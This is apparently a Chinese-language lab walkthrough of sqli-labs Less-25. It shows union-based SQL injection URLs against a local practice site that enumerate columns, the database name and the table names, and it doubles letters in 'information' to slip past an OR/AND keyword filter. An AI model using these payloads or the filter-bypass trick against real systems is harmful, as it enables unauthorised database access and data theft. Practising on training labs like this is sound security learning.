http://localhost:81/sqli/Less-25/?id=-1' union select 1,2,3 %26%26 1=1 --+
由上图可以看出,显示的是第一列和第二列。
先使用联合注入获取数据库名:
http://localhost:81/sqli/Less-25/?id=-1' union select 1,database(),3 %26%26 1=1 --+
由上图可以看出,数据库名为'security'。
下一条查询来看看数据库中有哪些表:
http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() %26%26 1=1 --+
方法本身没有错,奇怪的是25课本身不需要用到AND OR就可以进行注入,比如http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() %26%26 1=1 --+,其实用http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+就够了。原文作者硬要加一个and 1=1,不明觉厉啊。